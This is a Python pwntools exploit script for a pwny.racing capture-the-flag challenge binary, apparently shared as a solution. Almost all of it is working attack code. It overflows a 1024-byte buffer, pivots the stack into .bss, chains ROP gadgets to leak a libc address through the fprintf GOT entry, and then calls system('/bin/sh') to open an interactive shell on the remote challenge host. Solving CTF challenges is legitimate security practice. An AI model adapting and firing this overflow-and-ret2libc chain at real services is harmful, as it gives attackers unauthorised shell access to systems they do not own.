#!/usr/bin/python
#
# martin
#

from pwn import *
import sys

host	= 'challenge.pwny.racing'
port	= 11534
binary	= '/local/ctf/pwny.racing/community.challenge.4/chall10'

if len(sys.argv) > 1:
	if sys.argv[1] == 'r':
		p = remote(host, port)
	else:
		context.terminal = [ 'tmux', 'splitw', '-h' ]
		p = gdb.debug (binary, 
		'''
		b* 0x0000000000400D1E
		sr
		c
		''')
else:
	p = process(binary)
	#p = remote("0", 61616)

addr_lvl_rst		= 0x0000000000400B3E
addr_lvl_rst2		= 0x0000000000400B31	# sets argc on stack ; needed becase main calls fflush(fp) and other f* fuctions
addr_leave_ret		= 0x4009f0
addr_fprintf_plt	= 0x400830
addr_fprintf_got	= 0x601fb0
addr_exit_plt		= 0x4007e0

addr_bss_rbp		= 0x602e00 

addr_pop_rdi		= 0x400d83		# pop rdi ; ret
addr_pop_rsi		= 0x400d81		# pop rsi ; pop r15 ; ret
addr_pop_rbp		= 0x400918		# pop rbp ; ret
addr_ret		= 0x4007be

offset_libc_fprintf	= 0x64dc0
offset_libc_system	= 0x4f440
offset_libc_shstr	= 0x1b3e9a

p.recvuntil("file: ")
payload =  ".\x00" + "A"*1022 + "\x10" 
payload	+= struct.pack("<QQ", addr_bss_rbp , addr_lvl_rst) 
p.sendline(payload)

# NOTE: different leftovers on stack when stat is called (valid file/dir) and when invalid file is searched
p.recvuntil("file: ")

# ROP chain part 2 start here, we'll execute this after 1st part
payload = struct.pack("<QQQQ", addr_fprintf_plt, addr_pop_rdi, 1, addr_lvl_rst2) + "B"*992 + "\x10"
payload	+= struct.pack("<Q", addr_bss_rbp - 0x500 )
payload += struct.pack("<Q", addr_lvl_rst) 
p.sendline(payload)

p.recvuntil("file: ")
payload =  ".\x00" + "C"*1022 + "\x10" 
payload	+= struct.pack("<Q", addr_bss_rbp - 0x600 + 0x150 + 0x60 )
payload += struct.pack("<Q", addr_leave_ret) + "D"*168

# this is the first part of the payload
payload += struct.pack("<QQ", addr_pop_rbp, addr_bss_rbp-0x800)
payload += struct.pack("<QQQ", addr_pop_rsi, addr_fprintf_got, 0xcafe)
payload += struct.pack("<I", addr_pop_rdi)
p.sendline(payload)


# NOTE: 2nd part does level restart which prints fancy message ; due to this I don't need to call fflush(stdout), it will
# 	be flushed by printing this intro message

# get the leak
p.recvuntil("user:")
p.recvline()
p.recvline()

data = p.recv(6)
addr_libc_fprintf = int(data[::-1].encode('hex'), 16)

print "libc leak: fprintf: 0x%.08x"%addr_libc_fprintf

addr_libc_base= addr_libc_fprintf - offset_libc_fprintf
addr_libc_system = addr_libc_base + offset_libc_system
addr_libc_shstr	= addr_libc_base + offset_libc_shstr


print "libc system: 0x%.08x"%addr_libc_system

payload = "B"*1024 + "\x18"
payload += struct.pack("<QQ", addr_pop_rdi, addr_libc_shstr) + struct.pack("<Q", addr_ret)
payload += struct.pack("<QQQ", addr_libc_system, addr_exit_plt, 0xf00b00)
p.sendline(payload)

p.recvuntil("file: ")
print "+ here be dragons"
p.interactive()
